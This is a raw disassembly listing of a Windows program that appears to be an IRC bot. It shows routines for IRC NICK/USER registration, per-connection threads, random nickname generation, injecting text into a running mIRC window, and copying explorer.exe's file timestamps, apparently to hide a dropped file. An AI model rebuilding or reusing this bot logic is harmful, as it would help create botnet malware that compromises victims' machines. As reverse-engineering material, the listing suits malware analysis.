		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26A08EAh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		nop
		call	near ptr 27F06B4h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27F0000h
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 280051Ah
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2800351h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		nop
		call	near ptr 2800000h
		push	edi
		nop
		call	near ptr 2680920h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 28106EFh
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
